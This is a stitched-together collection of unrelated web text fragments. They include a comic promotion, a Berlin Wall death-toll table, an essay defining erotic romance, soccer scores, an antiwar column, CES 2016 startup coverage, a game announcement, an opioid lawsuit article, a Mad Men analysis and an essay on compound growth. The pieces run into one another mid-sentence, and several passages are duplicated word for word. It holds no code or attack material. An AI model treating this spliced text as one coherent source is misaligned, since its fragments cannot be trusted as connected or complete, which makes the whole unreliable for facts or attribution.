beginning of something even bigger? X-O Manowar #47 is also the first issue in Valiant’s X-O Manowar #50 Countdown Giveaway. Valiant will be giving away one of 50 exclusive, 4-by-6 inch “micro-prints” featuring X-O Manowar as realized by a sensational cast of comics’ biggest talents. These micro-prints will be found bagged with each issue. There is also a chance to have an original, hand-drawn piece of original artwork accompanying the issue in place of the micro-print. X-O Manowar #47 hit comic book shelves on June 29th. The final order cutoff is June 6th. There will be covers from Kano (APR162037), Phil Jimenez (APR162038), Khoi Pham (APR162039), Clayton Henry (APR162040), Rafa Sandoval (APR162041), David Lafuente (APR162042), and Jeff Lemire (APR162043). (Visited 447 times, 1 visits today)People who were killed in the area near the border by members of the armed authorities of the GDR (as a rule, through the use of firearms) while trying to escape, or who died from injuries inflicted by elements of the border security facilities (such as mines). People who died in the area near the border while trying to escape, without there being another party involved (for example, as a result of falling, drowning, heart failure, suffocation etc.) People who died in the area near the border as a result of actions or failure to act on the part of state authorities of the GDR, without an escape attempt necessarily being involved (for example, West German citizens and West Berliners who “violated” the GDR state border by climbing over the Wall and border security facilities, or East German citizens who were mistaken for would-be escapees and shot dead). Members of the border troops who were killed in connection with escapes in the area near the border. People who died as a result of actions carried out by border authorities, for example, during a control procedure. Fatalities at the Berlin Wall 1961 to 1989 Year Total of which Escapees People without intention to escape East People without intention to escape West Border soldiers 1961 12 11 1 - 1962 22 15 1 2 4 1963 10 8 1 1 1964 10 8 1 1 1965 12 8 1 3 1966 12 9 3 1967 2 2 1968 7 4 1 1 1 1969 3 3 1970 9 5 2 2 1971 4 1 3 1972 4 3 1 1973 5 4 1 1974 4 2 1 1 1975 4 2 1 1 1976 - - 1977 2 2 1978 - - 1979 1 - 1 1980 2 1 1 1981 4 3 1 1982 1 - 1 1983 1 1 1984 1 1 1985 - - 1986 4 4 1987 1 1 1988 - - 1989 3 3 Total 140 101 9 22 8 This is the current status of the joint project carried out by the Berlin Wall Memorial and the Centre for Contemporary History (ZZF) with the financial backing of the Federal Government Commissioner for Culture and the Media (BKM). This project records all available information about fatalities either proven or suspected to have occurred in connection with the Wall. It is partly based on the official, published lists of victims at the Wall. Other information has come from comprehensive research carried out by the project partners, and interviews with eyewitnesses. Altogether 576 cases have been recorded and checked.Up to now, there existed several lists with statistics that differed widely from another: depending on the criteria used for calculation, the figures vary between 86 (Berlin Public Prosecution Office), at least 92 (Berlin Chief of Police), 78 (Central Registry Salzgitter), 122 (Central Investigation Office for Government and Unification Criminality) and more than 200 deaths (Working Group 13 August).The objective of this research project was to correct this deficit and determine the exact number of people who were killed at the Wall, and to document the life stories and circumstances of death of all these fatalities with substantial source material. This led to the creation of the portraits that are to be found here of 140 people (as of 9 August 2017) who died in connection with the Wall.The project is based on a twofold definition: to be included, the victims at the Wall must either have an obvious connection with an escape attempt, or the cause of death must be closely linked both spatially and temporally with the border security regime.This definition results in five different groups of cases:65 SHARES Share Tweet Iceland has been called the world’s most feminist country. Ranking first in the 2012 Global Gender Gap Report, the country sucessfully banned strip clubs, adopted feminist legislation around prostitution, decriminalizing sex workers and criminalizing the men who buy sex, and have legislated against printing and distributing porn. Now, the progressive country is considering banning hardcore pornography online. While some are concerned about the ways in which this kind of ban could impact free speech on the web, the proposal has garned a great deal of support. In this episode, Meghan Murphy speaks with Gail Dines, professor of sociology and women’s studies at Wheelock College in Boston, the author of “Pornland: How Porn has Hijacked our Sexuality,” and a founding member of Stop Porn Culture about the proposal. **Warning: There is some graphic language in this interview 65 SHARES Share Tweet Meghan Murphy Founder & Editor Meghan Murphy is a freelance writer and journalist. She has been podcasting and writing about feminism since 2010 and has published work in numerous national and international publications, including New Statesman, Vice, Al Jazeera, The Globe and Mail, I-D, Truthdig, and more. Meghan completed a Masters degree in the department of Gender, Sexuality and Women’s Studies at Simon Fraser University in 2012 and lives in Vancouver, B.C. with her dog.What is Erotic Romance? © 2005 Sylvia Day Romance novels have held the lion’s share of the publishing market for many, many years. A great deal of its appeal comes through its mutability. Trends surface and swell in the romance fiction industry with some regularity. The most prolific and adaptable authors are the most successful. Graphic sex in romance is the latest “hot” trend. Readers want to see through an open bedroom door to a broader picture of how the hero and heroine interact with each other. When the aloof, intractable hero suddenly becomes playful and affectionate in bed, it says a great deal about his feelings. When the tough-as-nails, corporate raiding heroine purrs like a kitten around her man, we can see how much she trusts him with her softer side. The term “erotic romance” describes a graphic level that is very distinct, but due to a tendency by readers and writers to interchange “erotic romance” with “erotica” and detractors usage of the words “porn” and “soft porn” it’s become a confusing morass. The true definition of these terms is often debated, but basically here is how they break down: Porn: stories written for the express purpose of sexual gratification. Plot, character development, and romance are NOT primary to these stories. They are designed to incite the reader to orgasm and nothing else. stories written for the express purpose of sexual gratification. Plot, character development, and romance are NOT primary to these stories. They are designed to incite the reader to orgasm and nothing else. Erotica: stories written about the sexual journey of the characters and how this impacts them as individuals. Emotion and character growth are important facets of a true erotic story. However, erotica is NOT designed to show the development of a romantic relationship, although it’s not prohibited if the author chooses to explore romance. Happily Ever Afters are NOT an intrinsic part of erotica, though they can be included. If they are included, they weren’t the focus. The focus remained on the individual characters’ journeys, not the progression of the romance. stories written about the sexual journey of the characters and how this impacts them as individuals. Emotion and character growth are important facets of a true erotic story. However, erotica is NOT designed to show the development of a romantic relationship, although it’s not prohibited if the author chooses to explore romance. Happily Ever Afters are NOT an intrinsic part of erotica, though they can be included. If they are included, they weren’t the focus. The focus remained on the individual characters’ journeys, not the progression of the romance. Erotic Romance: stories written about the development of a romantic relationship through sexual interaction. The sex is an inherent part of the story, character growth, and relationship development, and couldn’t be removed without damaging the storyline. Happily Ever After is a REQUIREMENT to be an erotic romance. stories written about the development of a romantic relationship through sexual interaction. The sex is an inherent part of the story, character growth, and relationship development, and couldn’t be removed without damaging the storyline. Happily Ever After is a REQUIREMENT to be an erotic romance. Sexy Romance: stories written about the development of a romantic relationship that just happen to have more explicit sex. The sex is not an inherent part of the story, character growth, or relationship development, and could easily be removed or “toned down” without damaging the storyline. Happily Ever After is a REQUIREMENT as this is basically a standard romance with hotter sex. I hope you can see from this how distinct these stories are and how the “label” applied to them isn’t interchangeable. However, some publishers have begun to do that very thing—interchange the genre on their titles to increase sales. How does this affect the future of erotic romance? I’m not certain. New readers who pick up a book with “erotic romance” on the spine and later discover that they hold an erotica title without any romance will be upset. Will this affect their decision to purchase more erotic romance? Possibly. How will they know that the entire genre of erotic romance is not the same as that mislabeled book they purchased? Because of this, it’s important to educate the public about the differences. Articles such as this one, and romance groups such as Passionate Ink (www.passionateink.org ), which is the Erotic Romance Special Interest Chapter of Romance Writers of America, do much to spread the word. It’s my hope that the erotic romance genre will continue to grow and thrive. As it does, perhaps the distinctions between genres will become clearer and more readers will get exactly what they’re looking for in a “hot” romance.45User Rating: 4 out of 5 Review title of Bekah Great for sketching/concept drawing I like how you can get a general concept down (I have to wear a glove so that my heat signature does not trick the tablet into drawing in certain areas). I do not like how there is not a magic wand or lasso tool those are legitimately a digital artists heart and soul because it spares a ton of time. Than your lining is great, but can we please get a cropping tool? These 3 things are what keeps you from really competing with other art programs I have had where they are available and cut a drawing from
3 W Saturday, August 4 at Houston 0-1 W Saturday, August 11 at LAFC 0-2 W Saturday, August 18 vs. Portland 3-0 W Saturday, August 25 vs. Minnesota 2-0 L Saturday, September 1 at Seattle 3-1 W Saturday, September 8 vs. Orlando 1-0 W Saturday, September 15 at San Jose 1-5 L Sunday, September 23 at Philadelphia 2-0 D Sunday, September 30 vs. Real Salt Lake 1-1 D Saturday, October 6 vs. LA Galaxy 1-1 W Wednesday, October 17 at Vancouver 1-4 W Sunday, October 21 at FC Dallas 0-3 W Sunday, October 28 vs. LAFC 2-1 L Saturday, March 3 vs. Columbus 0-2 L Saturday, March 17 at Montreal 1-0 W Friday, March 30 vs. Real Salt Lake 3-1 L Saturday, April 14 at Colorado 2-0 L Saturday, April 21 at Houston 5-1 D Saturday, April 28 vs. Chicago 2-2 W Friday, May 4 vs. Philadelphia 3-0 L Wednesday, May 9 vs. Seattle 1-2 L Saturday, May 12 at New England 3-2 W Friday, May 18 vs. Orlando 2-1 L Friday, May 25 vs. FC Dallas 0-1 D Saturday, June 2 at Columbus 3-3 W Friday, June 8 at Philadelphia 0-2 D Wednesday, June 13 vs. D.C. United 4-4 L Sunday, June 24 at NYCFC 2-1 L Sunday, July 1 vs. NY Red Bulls 0-1 L Wednesday, July 4 at Minnesota 4-3 D Saturday, July 7 at Sporting KC 2-2 L Saturday, July 14 at Orlando 2-1 W Saturday, July 21 at Chicago 1-2 W Saturday, July 28 vs. Chicago 3-0 D Saturday, August 4 at Atlanta 2-2 L Sunday, August 12 vs. NYCFC 2-3 D Saturday, August 18 at San Jose 1-1 W Saturday, August 25 vs. Montreal 3-1 L Wednesday, August 29 at Portland 2-0 L Saturday, September 1 vs. LAFC 2-4 W Saturday, September 15 vs. LA Galaxy 5-3 L Saturday, September 22 at NY Red Bulls 2-0 W Saturday, September 29 vs. New England 4-1 L Saturday, October 6 vs. Vancouver 1-2 L Wednesday, October 17 at D.C. United 1-0 L Sunday, October 21 at Montreal 2-0 W Sunday, October 28 vs. Atlanta 4-1Jingoistic platitudes were all the rage at the recently-completed Democratic National Convention in Charlotte. Foreign Policy Magazine’s Uri Friedman reported that Democratic Party apparatchiks used Osama Bin Laden’s name, in bragging about slaughtering him, some 21 times during the DNC. By way of contrast, according to Friedman’s count, there was only one mention of Bin Laden at the Republican National Convention, which took place the week before in Tampa. One of the more memorable lines, in making the case for another four years in office for the 2009 Nobel Prize Peace Prize winning Laureate-in-Chief, came from U.S. Sen. John Kerry (D-MA). He stated (emphasis mine), And after more than — after more than 10 years without justice for thousands of Americans murdered on 9/11, after Mitt Romney said it would be naive to go into Pakistan to pursue the terrorists, it took President Obama, against the advice of many, to give that order and finally rid this earth of Osama bin Laden. Ask Osama bin Laden is he is better off now than he was four years ago. Vice President Joe Biden went so far to boast triumphantly, “Osama Bin Laden is dead, and General Motors is alive.” This bellicose rhetoric on the part of Kerry, Biden and others moved investigative journalist Jeremy Scahill to compare the language to “jingoism that belonged in a sports bar” in an appearance on MSNBC’s “Up With Chris Hayes.” Now billing itself as the “Lean Forward” network (a hilarious premise in of itself, given that it’s owned by General Electric, a weapons manufacturer), Scahill said MSNBC’s DNC coverage might as well have been an Obama for America salon. “Many of the media discussions, including here on MSNBC, about foreign policy during the convention felt like we were watching an Obama for America meet-up, not an actual serious critique of this president’s most egregious aspects of his foreign policy, where you do see that of the Republicans,” he said on “Up With Chris Hayes.” General Electric has given Democratic Party candidates at a federal level $510,400 so far in the 2012 election cycle, according to Open Secrets. Antiwar.com readers won’t be surprised by any of this. What was surprising, though, was one of the more shameless displays by the Military-Industrial-Media Complex at the “Nightly Lounge” festive gatherings hosted by the Beltway media outlet, Politico. One of the co-sponsors of the nightly ritual was none other than BAE Systems, another weapons manufacturer and war contractor, which has given $233,000 to Democrats so far in the run up to the 2012 elections, according to Open Secrets. The nightly fiesta also included a delicious BAE Systems-sponsored specialty drink, the “BAE Systems Countermeasure,” which I ordered while having the pleasure to attend one of the soirees. Why will November feature an election between Liberal Hawks and Neoconservatives? Just follow the money. As Smedley Butler wrote long ago, War is a racket. It always has been. It is possibly the oldest, easily the most profitable, surely the most vicious. It is the only one international in scope. It is the only one in which the profits are reckoned in dollars and the losses in lives. Whoever resides in 1600 Pennsylvania Avenue after November 6, 2012, at least one major thing is already settled: the war racket has no end in sight.Dallas-Fort Worth’s growing hub of innovation was well represented at CES 2016, the world’s largest consumer electronics show. Tech-giants like AT&T and Texas Instruments made big announcements, while many of the city’s emerging startups used the tech industry’s ultimate stage to raise the curtains on their cutting-edge technologies a couple weeks ago. “The energy is amazing at CES,” says TJ Person, CEO of OpenKey Inc., a DFW startup that is redefining the way a hotel guest checks into her room by providing keyless entry through smartphones. “Walking around the show has been really inspiring to see all the new gadgets and technology from around the world.” According to its website, “CES is the world’s gathering place for all who thrive on the business of consumer technologies. Every major technology company on the planet participates in CES by exhibiting, speaking, sponsoring, attending, or holding co-located events and business meetings.” The first CES took place in New York City in 1967, with 250 exhibitors and 17,500 attendees. Since then, CES has grown to feature more than 3,600 exhibitors who now range from the smallest of startups to the biggest of companies. “There is really nothing like this anywhere for a small company to get so much exposure,” Person says. CES 2016 was held from January 6-9 in Las Vegas. More than 150,000 people attended the event. Check out our gallery below for video coverage, major announcements from leading DFW businesses, and viewpoints from area entrepreneurs who attended CES 2016. And if you were at the world’s biggest consumer electronics show, send us your experiences in the comments below or via social media. AT&T Dallas’ largest company showcased its plans to expand innovation in healthcare, the Internet of Things, and big data, and announced that it is building a framework to help cities better serve their citizens. The company also held its 2016 Developer Summit Hackathon, which gave emerging developers the ability to use AT&T technology to create exciting applications. Take a look at the top stories from AT&T at CES 2016, and get an inside look at the Developer Summit Hackathon in the videos below. OpenKey Plano-based OpenKey, which offers hotel owners the technology to control guest room access remotely regardless of existing lock-and-key technology, made its first appearance at CES this year. The startup launched in January 2015, and has already raised $3 million. CEO TJ Person offers this advice for any entrepreneurs planning on attending CES in the future: “Don’t try to take it all in one day! Make a plan to see certain sections of the show but also take time to try to have some fun and meet up with other startups that are there in town or downtown in the hub of the Vegas startup scene.” You can learn more about Openkey here. Texas Instruments The world’s third largest manufacturer of semiconductors showcased more than 100 demonstrations of technologies that included everything from an autonomous vehicle to next-generation designs for the Internet of Things to cutting-edge wearable technologies. Check out the video below for an up-close look at some of the best technologies that were displayed at the TI Village at CES 2016. Orbii Made in Dallas, Orbii is a wifi-connected robotic ball that uses an HD camera and environmental monitoring sensors homeowners can drive so they can monitor any part of their home while away. An alum of Tech Wildcatters in Dallas, Orbii was named a CES Innovation Award Honoree. Fresh off a successful trip to CES 2016, Orbii CEO Omar Barlas leaves this advice to new startups planning for CES next year: “If you’re a startup and making business around consumers, then plan well ahead of time (at least five months in advance). Get a CTA membership before signing up for the CES show, because you will get steep discounts on the booth pricing in Eurika Park. The most important thing is to go there with a functional prototype and have demo units at your booth. Also, setup media and press appointments before the show.” Check out Orbii here. Ericsson The communication technology and services company, with North American Headquarters in Plano, unveiled a plethora of game-changing innovations at CES 2016. Watch the video below to hear about the company’s visions for autonomous driving, a more immersive and personalized media experience, smart cities, and 5G technology that will give access to HD content and broadband everywhere. Buddy Tag Launched in November 2013, Buddy Tag is a child-safety wearable that helps prevents lost children and accidental drowning. The DFW-based company gained great exposure at CES 2016. Its founder and CEO Willie Wu’s was a speaker at the CES 2016 BabyTech panel. “Buddy Tag also got a lot of press coverage by media from all around the world. We made connections with distributors that can potentially open new sales channels in different parts of the world,” says Wu, highlighting the importance of utilizing the buzz CES generated. Find out more about Buddy Tag here. Mark Cuban Companies Several emerging companies that are backed by Mark Cuban, Dallas Mavericks owner and Shark Tank investor, made a splash at CES 2016. They included DFW-based iLumiSolutions, which showcased its second-generation smart bulbs; Breathometer, which displayed a working prototype of a sensor that measures breath keynotes to encourage healthier eating; and Luminaid, whose founders donated 200 units of their inflatable solar lights to aid the Red Cross’ cleanup efforts following the recent tornado that touched down in DFW. Read more about Mark Cuban, Shark Tank, and the companies that go on the show here. For a daily dose of what’s new and next in Dallas-Fort Worth innovation, subscribe to our Dallas Innovates e-newsletter.Following its announcement last week, Marvelous has gone live with the official website, teaser trailer, screenshots, and details on its new PS Vita game Net High. Get the details below. Prologue The year is 20XX. The country was about to see significant change. “Japanese citizens have an obligation to live fulfilling and healthy lives.” This was the beginning of the “Neo Communications Act,” which was intended to wedge into frequent issues including the congested economy, declining birth rates, NEETs, and hikikomoris. Exclusive smartphones were distributed free of charge with the government official social network service “Tweeter” installed. Depending on the amount of followers you attain, the government supplies you with a special allowance. Marriage, having children, being in a relationship—various measures work in your favor. To live fulfilling lives, people actively communicate through the social network regardless of day or night. It is the birth of a new society beyond the boundaries of reality and the net. It was supposed to be the rise of “mankind’s riajuu (people who live fulfilling lives) era.” But the reality was different. Some riajuu have monopolized just about all of the wealth and followers, kick-starting a “super fulfilled divergent society.” The unpopular, according to the “Riajuu Ranking”, receive unfavorable jobs. Their anger and grief is condemned in the name of the “Neo Communications Act,” under which it is discarded. In such dark times, one hero alone stood up—no, one non-riajuu. Characters Oreshi (voiced by Kaito Ishikawa) – The strongest non-riajuu in human history. A lethargic and unenthusiastic 21 year-old part-time jobber with no hope for the future. His only ambition in life is to see “that girl” from Tweeter and collecting goods/merchandising from the “Kossetsu Man.” One day, he obtains the super high performance wearable “Mega-Nexus” device (Megane, for short—because they’re glasses), which changes his life. While he’s not usually social, when he equips the Mega-Nexus, the device’s hypnosis function is triggered, and he becomes a super positive and bluff personality. (voiced by Kaito Ishikawa) – The strongest non-riajuu in human history. A lethargic and unenthusiastic 21 year-old part-time jobber with no hope for the future. His only ambition in life is to see “that girl” from Tweeter and collecting goods/merchandising from the “Kossetsu Man.” One day, he obtains the super high performance wearable “Mega-Nexus” device (Megane, for short—because they’re glasses), which changes his life. While he’s not usually social, when he equips the Mega-Nexus, the device’s hypnosis function is triggered, and he becomes a super positive and bluff personality. Cil (voiced by Maaya Uchida) – The strongest ponkatsu (piece of junk) A.I. in human history. She is the navigator A.I. loaded within the protagonist’s Mega-Nexus. But despite her being a navi system, she is brimming with curiosity, neglecting Oreshi as she shows interest in various other things. As she doesn’t have a physical form, her interactions are limited, and she sometimes makes a face as if she’s lonely. (voiced by Maaya Uchida) – The strongest ponkatsu (piece of junk) A.I. in human history. She is the navigator A.I. loaded within the protagonist’s Mega-Nexus. But despite her being a navi system, she is brimming with curiosity, neglecting Oreshi as she shows interest in various other things. As she doesn’t have a physical form, her interactions are limited, and she sometimes makes a face as if she’s lonely. Mr. Elite (voiced by Tomokazu Sugita) – From his life to his personal connections and work, he’s a man living a first-class life. He used to say, “A super first-class human can love super first-class things only,” but… (voiced by Tomokazu Sugita) – From his life to his personal connections and work, he’s a man living a first-class life. He used to say, “A super first-class human can love super first-class things only,” but… Bukako (voiced by Megumi Han) – Mr. Elite’s self-proclaimed “business partner.” She seems to mention words like “commit” and “consensus,” but it’s a mystery as to whether she understands their meaning. (voiced by Megumi Han) – Mr. Elite’s self-proclaimed “business partner.” She seems to mention words like “commit” and “consensus,” but it’s a mystery as to whether she understands their meaning. Master of Ceremony (voiced by Yukana) – The absolute master of ceremonies. A mysterious woman who suddenly appeared before the citizens and took over all of Tweeter and the city system. Her behavior is uncertain and mysterious. She’ll say different things depending on the situation and vibe. She seeks out persons calling themselves “Absolute Masters of Ceremonies” and pushes them into ENJ Battles. Keywords Neo Communications Act – A law based on the aggressive theory that active internet communication will increase levels of human happiness. Currently, it’s the cause of the “super fulfilled divergent society.” A law based on the aggressive theory that active internet communication will increase levels of human happiness. Currently, it’s the cause of the “super fulfilled divergent society.” Riajuu Ranking – The nation’s ranking. The higher your amount of followers, the higher you’re ranked. The nation’s ranking. The higher your amount of followers, the higher you’re ranked. Tweeter – A government official social network service. You’re ranked between A to G based on your amount of followers. A government official social network service. You’re ranked between A to G based on your amount of followers. Niyoniyo Douga – A video submission website with tons of content. ENJ Battles are very popular here. A video submission website with tons of content. ENJ Battles are very popular here. ENJ Battles – A public debate program broadcast live on Niyoniyo Douga. Lower-ranked persons can challenge higher-ranked persons, and if they win, they can see a large turnaround in followers. ENJ BattlesThe city of Paterson has filed a lawsuit against several pharmaceutical companies, including New Brunswick-based Johnson & Johnson and its Janssen Pharmaceuticals unit, over the opioid crisis.The city of Paterson has filed a lawsuit against several pharmaceutical companies, including New Brunswick-based Johnson & Johnson and its Janssen Pharmaceuticals unit, over the opioid crisis. The lawsuit seeks compensation for the city to cover the costs of social and human services, as well as the enhanced costs for the additional services of police, fire and first responders to cope with the epidemic. Other defendants in the suite include Israel-based Teva Pharmaceutical; Endo Pharmaceuticals in Malvern, Pennsylvania; Arizona-based Insys Corp.; McKesson Corp. in San Francisco; and wholesale drug distributors Amerisource Bergen and Cardinal Health. The lawsuit alleges that the defendants: Published misleading articles in medical journals, including publications aimed at doctors who commonly treat chronic pain; Created a body of false and unsupported literature that appeared to be independent, peer-tested and objective. Employed distinguished physicians to write, consult on and lend their names to articles that encouraged the use of opioids to treat chronic pain. Sponsored continuing medical education courses that persuaded prescribing doctors that opioids were appropriate for pain relief and posed no serious threat of addiction. Publicized statements that the risk of addiction is “exceedingly low in older patients with no current or past history of substance abuse,” when there was no evidence to support this and, in fact, a study in 2010 found that patients 65 or older were among those with the largest number of serious overdoses. While no monetary amount is named in the lawsuit, Scott Scott said in a press release that the current lawsuit is comparable to the one the U.S. government brought against big tobacco companies in during the 1990’s for misleading the public about the dangers of cigarette smoking, which resulted in cigarette makers agreeing to pay $365.5 billion; agreeing to follow additional Food and Drug Administration regulations, and placing stronger warning labels and restrictions on its products and in its advertising. “Like so many other Americans, we have been saddened to see the toll that the opioid epidemic has taken on our communities,” David Scott, managing partner at Scott Scott, said in a press release. “The pharmaceutical manufacturers and wholesale distributors must be held responsible for their actions, which are the root cause of so much human and financial loss. Our firm is honored that the city of Paterson entrusted us in recovering the financial losses it has suffered and will continue to suffer as a result of having to address the crisis and support its population.” Domenick Stampone, the city of Paterson’s corporation counsel, said in a prepared statement that the aim of the lawsuit is to hold pharmaceutical companies accountable for the cost of opioid addiction. “The human cost of the opioid crisis has been devastating to those addicted and their families and friends,” said “This lawsuit seeks to hold responsible those companies whose practices created a crisis that has drained the coffers of cities like Paterson, which operates on meager resources but is relied on to provide critical, life-saving services.”Chicago producer Young Chop recently sat down for an interview with VladTV and discussed the burgeoning partnership between Gucci Mane and Chief Keef. The two made waves back in May when Keef signed to Gucci Mane's 1017 Bricksquad imprint and they've since released tracks like "Darker" and the recent "So Much Money," but Chop isn't exactly excited about the ongoing business relationship. "I don't get into all that," says Chop in the clip. "I just feel like that's a bunch of bullshit. I'm like 'Nah.' At the end of the day, Keef is his own boss. How you gonna go to another man who's a boss when you just set a whole bar for Chicago. Period." Chop apparently doesn't understand why Keef, who has already established so much in Chicago, would want to join forces with Big Guwap. "You your own boss," emphasizes Chop. "You got your own following, so why would you go under a man who got his own thing that's like yours." The clip also finds Young Chop discussing Keef's recent interactions with a stripper on twitter and his own upbringing. You can watch the whole interview abvoe. Young Chop will drop his Precious project on September 12. [via VladTV ]Take a good, long look at the woodcut print pictured above. If you’re a devoted fan of Mad Men, this isn’t the first time you’ve seen it. Actually, this isn’t even the second time you’ve seen it. And if you’re a student of 19th-century Japanese erotica, then all bets are off. Katsushika Hokusai’s The Dream of the Fisherman’s Wife dates back to 1814. In it, an octopus performs oral sex on a human woman as a smaller octopus kisses her and strokes her nipple. On Mad Men, Bert Cooper (Robert Morse) hung it in his office. The eccentric art collector and Sterling Cooper founding partner — who is now deceased, but makes a timely dream-sequence appearance in the passenger seat of Don’s Cadillac in last night’s episode — proudly shows the illustration to Lane Pryce (Jared Harris) in the third season premiere. “I picked it for its sensuality, but also, in some way, it reminds me of our business,” he explains. “Who is the man who imagined her ecstasy?” This is, of course, a hilariously narrow-minded interpretation, one that denies the woman pictured any agency or inner life. Instead, Cooper invents an unseen man (the artist slash adman) he imagines pulling the strings. His reading is in perfect keeping with the state of Sterling Cooper in 1963, when the women of the operation were firmly restricted to the sidelines. Flash forward to 1970, the second half of Mad Men’s seventh and final season, and last night’s episode. Peggy Olson (Elisabeth Moss) finds herself sharing a bottle of vermouth with Roger Sterling (John Slattery) in their now vacant office, after the rest of their colleagues have been absorbed by McCann-Erickson, SC&P’s parent company. Sterling offers his old friend’s treasured illustration to Olson as a gift, encouraging her to display this rendering of “an octopus pleasuring a lady” in her new office. Uh, sorry, but she’s not having it. “You know I need to make men feel at ease,” Peggy says. “Who told you that?” Roger asks. That’s a vital question, especially in light of their pending move. We first saw a hint of what life at McCann is like for female employees when Joan (Christina Hendricks) and Peggy met with creepy envoys from the mega-agency about Topaz pantyhose earlier this season. “You should be in the bra business,” one of them told Joan with a smirk. The reality proves to be even worse. Peggy has already been demoted from copy chief to copy supervisor, and receives the same floral arrangement that McCann sent all the new secretaries. As Olson anxiously passes the time at what remains of the old digs (her McCann office isn’t ready yet), Joan is treated to a comprehensive tasting menu of sexism, with compliments of their new employer. First, SC&P’s only female partner is saddled with an incompetent male account exec who offends her clients and refuses to report to “a girl.” Ferg Donnelly (Paul Johansson) offers to assist with her accounts instead, which gives him ample opportunity to make uncomfortable sexual advances towards Joan. She finally turns to McCann-Erickson head Jim Hobart (H. Richard Greene), who proves to be less than the ally he painted himself to be. When appealing to him as an equal gets Joan nowhere, she threatens to involve the Equal Opportunity Employment Commission, but Hobart doesn’t bend. In the end, she begrudgingly accepts a buyout of 50 cents on the dollar to exit the company. It’s a crushing defeat. As Diane Kelly recently wrote in Throb, a marine biologist would immediately note that the octopus in Hokusai’s print doesn’t appear to be aroused, nor is he actually mating, at least by by cephalopod standards, with the woman. But it doesn’t take an advanced degree of any kind to deduce that her pleasure (which is made explicit in the Japanese text that captions the image) is paramount here — and that there aren’t any non-tentacled men to be seen. Resurfacing the woodcut now makes a profound feminist statement, when the women formerly of SC&P need it most. The Dream of the Fisherman’s Wife is a testament to female sexual power and imagination. Bert Cooper was right, in sense. This image is about men, in that it’s about their absence and irrelevance. Who cares if they feel at ease? Peggy, it seems, takes this message to heart. The next morning, she rolls into McCann-Erickson wearing sunglasses, puffing on a cigarette, and generally looking amazing (and a little hungover — the two aren’t mutually exclusive). Most importantly, she’s carrying the print, which is already turning the heads of male coworkers she passes in the hallway. McCann-Erickson has no idea what it has coming.This is James Bennet, editor of The Atlantic. Most readers know that the views expressed on Jeffrey's blog are his own and don't always reflect the views of The Atlantic. Such is the case with regard to Jeffrey's comments on the relative merits of hummus and baba ghanoush. Our institution has partnered with the makers of baba ganoush, as well as tabouleh and fattoush, on a number of projects, and we have a great deal of respect for their excellent work product, including the entire spectrum of Middle Eastern salads and paste-like foods, with the exception of halvah. We at The Atlantic do not take sides in the ongoing dispute between partisans of hummus and partisans of baba ghanoush. These food products are key leaders in the Middle East food products industry, and we look forward to eating them in the future.Republican presidential contender Tim Pawlenty has put forth a plan in which he hopes the US economy will grow at 5% a year for decades. Such growth, Pawlenty suggests, will solve all of our problems. (And in the meantime, in Pawlenty's plan, we'll get to enjoy lower taxes to boot!) Over the short-term, economies certainly can grow 5% a year, or even faster. And Pawlenty's projected growth rate seems achievable in part because, in 2006 and 2007, the global economy grew at 4.5% a year. Thanks to that happy growth spurt, in fact, economic growth of 5% a year seems not just achievable but normal. But lest we all become too enamored of the idea that we can grow at 5% a year forever, it's worth pointing out that we can't. Over the long term, this growth rate is not just unlikely--it's impossible. Nothing can grow at 5% a year for long without eventually overwhelming everything else. Corporate profits, for example, cannot grow at 5% a year (real), without eventually exceeding corporate revenues (which have been growing about 3% a year, real). Economies cannot grow at 5% a year for long without dominating the entire world economy. And populations cannot grow 5% a year for long before they gobble up all the finite resources available to them. Economies and populations, in fact, can't even grow 3% a year for very long. And they certainly can't grow 3% a year in perpetuity. Investor Jeremy Grantham of GMO illustrates this in his recent apocalyptic commodity analysis with an anecdote about ancient Egypt, which was one of the most successful civilizations in human history. Grantham asked a group of mathematicians how big Ancient Eqypt would have gotten if its economy had growth 4.5% a year for the 3,000 years the civilization lasted. The mathematicians were directionally correct: Very big. But not one of them came even remotely close to the actual number (which is mind-boggling). Grantham then went on to show that Egypt would have become impossibly huge with even 1% growth or 0.1% growth--growth rates that we would consider not just unacceptable, but pathetic. And then he pointed out that our current growth expectations are not just unsustainable. They're impossible. Here's the anecdote: Four years ago I was talking to a group of super quants, mostly PhDs in mathematics, about finance and the environment. I used the growth rate of the global economy back then - 4.5% for two years, back to back - and I argued that it was the growth rate to which we now aspired. To point to the ludicrous unsustainability of this compound growth I suggested that we imagine the Ancient Egyptians, whose gods, pharaohs, language, and general culture lasted for well over 3,000 years. Starting with only a cubic meter of physical possessions (to make calculations easy), I asked how much physical wealth they would have had 3,000 years later at 4.5% compounded growth. Now, these were trained mathematicians, so I teased them: "Come on, make a guess. Internalize the general idea. You know it's a very big number." And the answers came back: "Miles deep around the planet," "No, it's much bigger than that, from here to the moon." Big quantities to be sure, but no one came close. In fact, not one of these potential experts came within one billionth of 1% of the actual number, which is approximately 10 raised to the 57th power, a number so vast that it could not be squeezed into a billion of our Solar Systems. Go on, check it. If trained mathematicians get it so wrong, how can an ordinary specimen of Homo Sapiens have a clue? Well, he doesn't. So, I then went on. "Let's try 1% compound growth in either their wealth or their population," (for comparison, 1% since Malthus' time is less than the population growth in England). In 3,000 years the original population of Egypt - let's say 3 million - would have been multiplied 9 trillion times! There would be nowhere to park the people, let alone the wealth. Even at a lowly 0.1% compound growth, their population or wealth would have multiplied by 20 times, or about 10 times more than actually happened. And this 0.1% rate is probably the highest compound growth that could be maintained for a few thousand years, and even that rate would sometimes break the system. The bottom line really, though, is that no compound growth can be sustainable. Yet, how far this reality is from the way we live today, with our unrealistic levels of expectations and, above all, the optimistic outcomes that are simply assumed by our leaders. So don't go thinking that global economies are going to grow 5% a year forever. They aren't. Especially, as Grantham also points out, now that we're running out of natural resources. See Also: JEREMY GRANTHAM: We're Headed For A Disaster Of Biblical Proportions(Note: on this topic, see also “Jonathan Meer and Jeremy West: Effects of the Minimum Wage on Employment Dynamics.”) In light of the current debate about raising the minimum wage, I wanted to bring to your attention University of Michigan graduate student Isaac Sorkin’s work on the minimum wage. He begins his paper “Minimum Wages and the Dynamics of Labor Demand” by raising the issue of long-run versus short-run: Typical analyses of the employment effects of minimum wages find effects too small to easily reconcile with the short-run elasticities implied by the textbook approach. However, if many firms do not fully adjust their labor demand in the short run, then the short-run employment responses would be much smaller in magnitude than the textbook approach implies, and in line with empirical work. Later in the introduction, Isaac explains: The main contribution of this paper is that it revives, formalizes and quantifies an old argument about the employment response to minimum wage increases that has been curiously neglected in the modern literature. In the famous Lester (1946), Machlup (1946), and Stigler (1946) debate about minimum wages, … 